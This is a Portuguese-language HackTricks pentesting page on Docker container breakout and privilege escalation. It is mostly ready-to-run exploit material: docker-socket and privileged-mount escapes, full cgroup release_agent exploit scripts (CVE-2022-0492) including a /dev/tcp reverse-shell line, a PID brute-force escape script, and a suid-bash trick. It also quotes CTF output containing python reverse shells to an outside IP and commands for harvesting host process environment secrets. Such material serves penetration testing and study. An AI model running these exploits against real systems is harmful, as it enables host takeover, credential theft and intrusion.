# Docker Breakout / Privilege Escalation {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitĂĄrias mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} ## Enumeração AutomĂĄtica & Escape * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): TambĂ©m pode **enumerar contĂȘineres** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta ferramenta Ă© bastante **Ăștil para enumerar o contĂȘiner em que vocĂȘ estĂĄ, atĂ© tentar escapar automaticamente** * [**amicontained**](https://github.com/genuinetools/amicontained): Ferramenta Ăștil para obter os privilĂ©gios que o contĂȘiner possui a fim de encontrar maneiras de escapar dele * [**deepce**](https://github.com/stealthcopter/deepce): Ferramenta para enumerar e escapar de contĂȘineres * [**grype**](https://github.com/anchore/grype): Obtenha os CVEs contidos no software instalado na imagem ## Escape do Socket Docker Montado Se de alguma forma vocĂȘ descobrir que o **socket docker estĂĄ montado** dentro do contĂȘiner docker, vocĂȘ poderĂĄ escapar dele.\ Isso geralmente acontece em contĂȘineres docker que, por algum motivo, precisam se conectar ao daemon docker para realizar açÔes. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` Neste caso, vocĂȘ pode usar comandos docker regulares para se comunicar com o daemon docker: ```bash #List images to use one docker images #Run the image mounting the host disk and chroot on it docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash # Get full access to the host via ns pid and nsenter cli docker run -it --rm --pid=host --privileged ubuntu bash nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` {% hint style="info" %} Caso o **docker socket esteja em um lugar inesperado**, vocĂȘ ainda pode se comunicar com ele usando o comando **`docker`** com o parĂąmetro **`-H unix:///caminho/para/docker.sock`** {% endhint %} O daemon do Docker tambĂ©m pode estar [ouvindo em uma porta (por padrĂŁo 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou em sistemas baseados em Systemd, a comunicação com o daemon do Docker pode ocorrer atravĂ©s do socket do Systemd `fd://`. {% hint style="info" %} AlĂ©m disso, preste atenção aos sockets de tempo de execução de outros runtimes de alto nĂ­vel: * dockershim: `unix:///var/run/dockershim.sock` * containerd: `unix:///run/containerd/containerd.sock` * cri-o: `unix:///var/run/crio/crio.sock` * frakti: `unix:///var/run/frakti.sock` * rktlet: `unix:///var/run/rktlet.sock` * ... {% endhint %} ## Abuso de Capacidades para Escapar VocĂȘ deve verificar as capacidades do contĂȘiner, se ele tiver alguma das seguintes, vocĂȘ pode ser capaz de escapar dele: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** VocĂȘ pode verificar as capacidades atuais do contĂȘiner usando **ferramentas automĂĄticas mencionadas anteriormente** ou: ```bash capsh --print ``` Na pĂĄgina a seguir, vocĂȘ pode **aprender mais sobre capacidades do linux** e como abusar delas para escapar/escalar privilĂ©gios: {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) {% endcontent-ref %} ## Escape de ContĂȘineres Privilegiados Um contĂȘiner privilegiado pode ser criado com a flag `--privileged` ou desabilitando defesas especĂ­ficas: * `--cap-add=ALL` * `--security-opt apparmor=unconfined` * `--security-opt seccomp=unconfined` * `--security-opt label:disable` * `--pid=host` * `--userns=host` * `--uts=host` * `--cgroupns=host` * `Mount /dev` A flag `--privileged` reduz significativamente a segurança do contĂȘiner, oferecendo **acesso irrestrito a dispositivos** e contornando **vĂĄrias proteçÔes**. Para uma anĂĄlise detalhada, consulte a documentação sobre os impactos completos de `--privileged`. {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) {% endcontent-ref %} ### Privilegiado + hostPID Com essas permissĂ”es, vocĂȘ pode simplesmente **mover-se para o namespace de um processo em execução no host como root** como init (pid:1) apenas executando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Teste em um contĂȘiner executando: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Privileged Apenas com a flag privileged vocĂȘ pode tentar **acessar o disco do host** ou tentar **escapar abusando de release\_agent ou outras escapadas**. Teste os seguintes bypasses em um contĂȘiner executando: ```bash docker run --rm -it --privileged ubuntu bash ``` #### Montando Disco - Poc1 ContĂȘineres docker bem configurados nĂŁo permitirĂŁo comandos como **fdisk -l**. No entanto, em comandos docker mal configurados onde a flag `--privileged` ou `--device=/dev/sda1` com caps Ă© especificada, Ă© possĂ­vel obter privilĂ©gios para ver o disco do host. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) Portanto, para assumir o controle da mĂĄquina host, Ă© trivial: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` E voilĂ ! Agora vocĂȘ pode acessar o sistema de arquivos do host porque ele estĂĄ montado na pasta `/mnt/hola`. #### Montando Disco - Poc2 Dentro do contĂȘiner, um atacante pode tentar obter acesso adicional ao sistema operacional subjacente do host por meio de um volume hostPath gravĂĄvel criado pelo cluster. Abaixo estĂŁo algumas coisas comuns que vocĂȘ pode verificar dentro do contĂȘiner para ver se vocĂȘ pode aproveitar esse vetor de ataque: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger ### Check root UUID cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300 # Check Underlying Host Filesystem findfs UUID= /dev/sda1 # Attempt to Mount the Host's Filesystem mkdir /mnt-test mount /dev/sda1 /mnt-test mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` #### Privileged Escape Abusando do release\_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 {% code title="PoC Inicial" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash # Finds + enables a cgroup release_agent # Looks for something like: /sys/fs/cgroup/*/release_agent d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` # If "d" is empty, this won't work, you need to use the next PoC # Enables notify_on_release in the cgroup mkdir -p $d/w; echo 1 >$d/w/notify_on_release # If you have a "Read-only file system" error, you need to use the next PoC # Finds path of OverlayFS mount for container # Unless the configuration explicitly exposes the mount point of the host filesystem # see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Sets release_agent to /path/payload touch /o; echo $t/c > $d/release_agent # Creates a payload echo "#!/bin/sh" > /c echo "ps > $t/o" >> /c chmod +x /c # Triggers the cgroup via empty cgroup.procs sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` {% endcode %} #### Escapada de PrivilĂ©gios Abusando do release\_agent criado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 {% code title="Segundo PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # Mounts the RDMA cgroup controller and create a child cgroup # This technique should work with the majority of cgroup controllers # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # If mount gives an error, this won't work, you need to use the first PoC # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release # Finds path of OverlayFS mount for container # Unless the configuration explicitly exposes the mount point of the host filesystem # see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent #For a normal PoC ================= echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #=================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd chmod a+x /cmd #=================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup # By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory # The script on the host will execute after /bin/sh exits sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` {% endcode %} Encontre uma **explicação da tĂ©cnica** em: {% content-ref url="docker-release_agent-cgroups-escape.md" %} [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} #### Privileged Escape Abusando release\_agent sem conhecer o caminho relativo - PoC3 Nos exploits anteriores, o **caminho absoluto do contĂȘiner dentro do sistema de arquivos do host Ă© revelado**. No entanto, isso nem sempre Ă© o caso. Em casos onde vocĂȘ **nĂŁo conhece o caminho absoluto do contĂȘiner dentro do host**, vocĂȘ pode usar esta tĂ©cnica: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) {% endcontent-ref %} ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` Executar o PoC dentro de um contĂȘiner privilegiado deve fornecer uma saĂ­da semelhante a: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 Checking pid 200 Checking pid 300 Checking pid 400 Checking pid 500 Checking pid 600 Checking pid 700 Checking pid 800 Checking pid 900 Checking pid 1000 Checking pid 1100 Checking pid 1200 Done! Output: UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:25 ? 00:00:01 /sbin/init root 2 0 0 11:25 ? 00:00:00 [kthreadd] root 3 2 0 11:25 ? 00:00:00 [rcu_gp] root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp] root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events] root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd] root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` #### Privileged Escape Abusing Sensitive Mounts Existem vĂĄrios arquivos que podem ser montados que fornecem **informaçÔes sobre o host subjacente**. Alguns deles podem atĂ© indicar **algo a ser executado pelo host quando algo acontece** (o que permitirĂĄ que um atacante escape do contĂȘiner).\ O abuso desses arquivos pode permitir que: * release\_agent (jĂĄ coberto antes) * [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) * [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) * [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) * [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) No entanto, vocĂȘ pode encontrar **outros arquivos sensĂ­veis** para verificar nesta pĂĄgina: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} ### Arbitrary Mounts Em vĂĄrias ocasiĂ”es, vocĂȘ descobrirĂĄ que o **contĂȘiner tem algum volume montado do host**. Se esse volume nĂŁo foi configurado corretamente, vocĂȘ pode ser capaz de **acessar/modificar dados sensĂ­veis**: Ler segredos, alterar ssh authorized\_keys
 ```bash docker run --rm -it -v /:/host ubuntu bash ``` ### Escalada de PrivilĂ©gios com 2 shells e montagem do host Se vocĂȘ tiver acesso como **root dentro de um contĂȘiner** que tem alguma pasta do host montada e vocĂȘ **escapou como um usuĂĄrio nĂŁo privilegiado para o host** e tem acesso de leitura sobre a pasta montada.\ VocĂȘ pode criar um **arquivo bash suid** na **pasta montada** dentro do **contĂȘiner** e **executĂĄ-lo a partir do host** para escalar privilĂ©gios. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` ### Escalada de PrivilĂ©gios com 2 shells Se vocĂȘ tiver acesso como **root dentro de um contĂȘiner** e tiver **escapado como um usuĂĄrio nĂŁo privilegiado para o host**, vocĂȘ pode abusar de ambas as shells para **privesc dentro do host** se vocĂȘ tiver a capacidade MKNOD dentro do contĂȘiner (Ă© por padrĂŁo) como [**explicado neste post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ Com tal capacidade, o usuĂĄrio root dentro do contĂȘiner Ă© permitido **criar arquivos de dispositivo de bloco**. Arquivos de dispositivo sĂŁo arquivos especiais que sĂŁo usados para **acessar hardware subjacente e mĂłdulos do kernel**. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dĂĄ acesso para **ler os dados brutos no disco do sistema**. O Docker protege contra o uso indevido de dispositivos de bloco dentro de contĂȘineres, aplicando uma polĂ­tica de cgroup que **bloqueia operaçÔes de leitura/gravação de dispositivos de bloco**. No entanto, se um dispositivo de bloco for **criado dentro do contĂȘiner**, ele se torna acessĂ­vel de fora do contĂȘiner atravĂ©s do diretĂłrio **/proc/PID/root/**. Esse acesso requer que o **proprietĂĄrio do processo seja o mesmo** tanto dentro quanto fora do contĂȘiner. Exemplo de **exploração** deste [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / # Crate device mknod sda b 8 0 # Give access to it chmod 777 sda # Create the nonepriv user of the host inside the container ## In this case it's called augustus (like the user from the host) echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd # Get a shell as augustus inside the container su augustus su: Authentication failure (Ignored) augustus@3a453ab39d3d:/backend$ /bin/sh /bin/sh $ ``` ```bash # On the host # get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user augustus@GoodGames:~$ ps -auxf | grep /bin/sh root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh # The process ID is 1659 in this case # Grep for the sda for HTB{ through the process: augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` ### hostPID Se vocĂȘ puder acessar os processos do host, conseguirĂĄ acessar muitas informaçÔes sensĂ­veis armazenadas nesses processos. Execute o laboratĂłrio de testes: ``` docker run --rm -it --pid=host ubuntu bash ``` Por exemplo, vocĂȘ poderĂĄ listar os processos usando algo como `ps auxn` e procurar por detalhes sensĂ­veis nos comandos. EntĂŁo, como vocĂȘ pode **acessar cada processo do host em /proc/ vocĂȘ pode simplesmente roubar seus segredos de ambiente** executando: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` VocĂȘ tambĂ©m pode **acessar os descritores de arquivo de outros processos e ler seus arquivos abertos**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt ...omitted for brevity... lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0 lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` VocĂȘ tambĂ©m pode **matar processos e causar um DoS**. {% hint style="warning" %} Se vocĂȘ de alguma forma tiver **acesso privilegiado a um processo fora do contĂȘiner**, vocĂȘ poderia executar algo como `nsenter --target --all` ou `nsenter --target --mount --net --pid --cgroup` para **executar um shell com as mesmas restriçÔes de ns** (esperançosamente nenhuma) **que esse processo.** {% endhint %} ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` Se um contĂȘiner foi configurado com o Docker [driver de rede do host (`--network=host`)](https://docs.docker.com/network/host/), a pilha de rede desse contĂȘiner nĂŁo estĂĄ isolada do host Docker (o contĂȘiner compartilha o namespace de rede do host) e o contĂȘiner nĂŁo recebe seu prĂłprio endereço IP alocado. Em outras palavras, o **contĂȘiner vincula todos os serviços diretamente ao IP do host**. AlĂ©m disso, o contĂȘiner pode **interceptar TODO o trĂĄfego de rede que o host** estĂĄ enviando e recebendo na interface compartilhada `tcpdump -i eth0`. Por exemplo, vocĂȘ pode usar isso para **capturar e atĂ© mesmo falsificar trĂĄfego** entre o host e a instĂąncia de metadados. Como nos seguintes exemplos: * [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) VocĂȘ tambĂ©m poderĂĄ acessar **serviços de rede vinculados ao localhost** dentro do host ou atĂ© mesmo acessar as **permissĂ”es de metadados do nĂł** (que podem ser diferentes das que um contĂȘiner pode acessar). ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` Com `hostIPC=true`, vocĂȘ ganha acesso aos recursos de comunicação entre processos (IPC) do host, como **memĂłria compartilhada** em `/dev/shm`. Isso permite leitura/escrita onde os mesmos recursos IPC sĂŁo usados por outros processos do host ou do pod. Use `ipcs` para inspecionar esses mecanismos IPC mais a fundo. * **Inspecionar /dev/shm** - Procure por quaisquer arquivos nesta localização de memĂłria compartilhada: `ls -la /dev/shm` * **Inspecionar instalaçÔes IPC existentes** – VocĂȘ pode verificar se alguma instalação IPC estĂĄ sendo usada com `/usr/bin/ipcs`. Verifique com: `ipcs -a` ### Recuperar capacidades Se a syscall **`unshare`** nĂŁo estiver proibida, vocĂȘ pode recuperar todas as capacidades executando: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` ### Abuso de namespace de usuĂĄrio via symlink A segunda tĂ©cnica explicada no post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como vocĂȘ pode abusar de montagens bind com namespaces de usuĂĄrio, para afetar arquivos dentro do host (neste caso especĂ­fico, excluir arquivos).
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitĂĄrias mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} ## CVEs ### Exploit Runc (CVE-2019-5736) Caso vocĂȘ consiga executar `docker exec` como root (provavelmente com sudo), vocĂȘ tenta escalar privilĂ©gios escapando de um contĂȘiner abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta tĂ©cnica basicamente **sobrescreverĂĄ** o binĂĄrio _**/bin/sh**_ do **host** **a partir de um contĂȘiner**, entĂŁo qualquer um executando docker exec pode acionar o payload. Altere o payload conforme necessĂĄrio e construa o main.go com `go build main.go`. O binĂĄrio resultante deve ser colocado no contĂȘiner docker para execução.\ Ao executar, assim que exibir `[+] Overwritten /bin/sh successfully`, vocĂȘ precisa executar o seguinte a partir da mĂĄquina host: `docker exec -it /bin/sh` Isso acionarĂĄ o payload que estĂĄ presente no arquivo main.go. Para mais informaçÔes: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} Existem outros CVEs aos quais o contĂȘiner pode ser vulnerĂĄvel, vocĂȘ pode encontrar uma lista em [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} ## Escape Personalizado do Docker ### SuperfĂ­cie de Escape do Docker * **Namespaces:** O processo deve ser **completamente separado de outros processos** via namespaces, entĂŁo nĂŁo podemos escapar interagindo com outros procs devido a namespaces (por padrĂŁo nĂŁo podem se comunicar via IPCs, sockets unix, serviços de rede, D-Bus, `/proc` de outros procs). * **UsuĂĄrio root**: Por padrĂŁo, o usuĂĄrio que executa o processo Ă© o usuĂĄrio root (no entanto, seus privilĂ©gios sĂŁo limitados). * **Capacidades**: O Docker deixa as seguintes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` * **Syscalls**: Estas sĂŁo as syscalls que o **usuĂĄrio root nĂŁo poderĂĄ chamar** (devido Ă  falta de capacidades + Seccomp). As outras syscalls poderiam ser usadas para tentar escapar. {% tabs %} {% tab title="syscalls x64" %} ```yaml 0x067 -- syslog 0x070 -- setsid 0x09b -- pivot_root 0x0a3 -- acct 0x0a4 -- settimeofday 0x0a7 -- swapon 0x0a8 -- swapoff 0x0aa -- sethostname 0x0ab -- setdomainname 0x0af -- init_module 0x0b0 -- delete_module 0x0d4 -- lookup_dcookie 0x0f6 -- kexec_load 0x12c -- fanotify_init 0x130 -- open_by_handle_at 0x139 -- finit_module 0x140 -- kexec_file_load 0x141 -- bpf ``` {% endtab %} {% tab title="syscalls arm64" %} ``` 0x029 -- pivot_root 0x059 -- acct 0x069 -- init_module 0x06a -- delete_module 0x074 -- syslog 0x09d -- setsid 0x0a1 -- sethostname 0x0a2 -- setdomainname 0x0aa -- settimeofday 0x0e0 -- swapon 0x0e1 -- swapoff 0x106 -- fanotify_init 0x109 -- open_by_handle_at 0x111 -- finit_module 0x118 -- bpf ``` {% endtab %} {% tab title="syscall_bf.c" %} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 #include #include #include #include int main() { for(int i = 0; i < 333; ++i) { if(i == SYS_rt_sigreturn) continue; if(i == SYS_select) continue; if(i == SYS_pause) continue; if(i == SYS_exit_group) continue; if(i == SYS_exit) continue; if(i == SYS_clone) continue; if(i == SYS_fork) continue; if(i == SYS_vfork) continue; if(i == SYS_pselect6) continue; if(i == SYS_ppoll) continue; if(i == SYS_seccomp) continue; if(i == SYS_vhangup) continue; if(i == SYS_reboot) continue; if(i == SYS_shutdown) continue; if(i == SYS_msgrcv) continue; printf("Probando: 0x%03x . . . ", i); fflush(stdout); if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) printf("Error\n"); else printf("OK\n"); } } ``` ```` {% endtab %} {% endtabs %} ### Container Breakout through Usermode helper Template If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): * Find the **path of the containers filesystem** inside the host * You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit * Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens * You should be able to **execute the trigger from inside the host** * You need to know where the containers files are located inside the host to indicate a script you write inside the host * Have **enough capabilities and disabled protections** to be able to abuse that functionality * You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References * [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB) * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) * [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}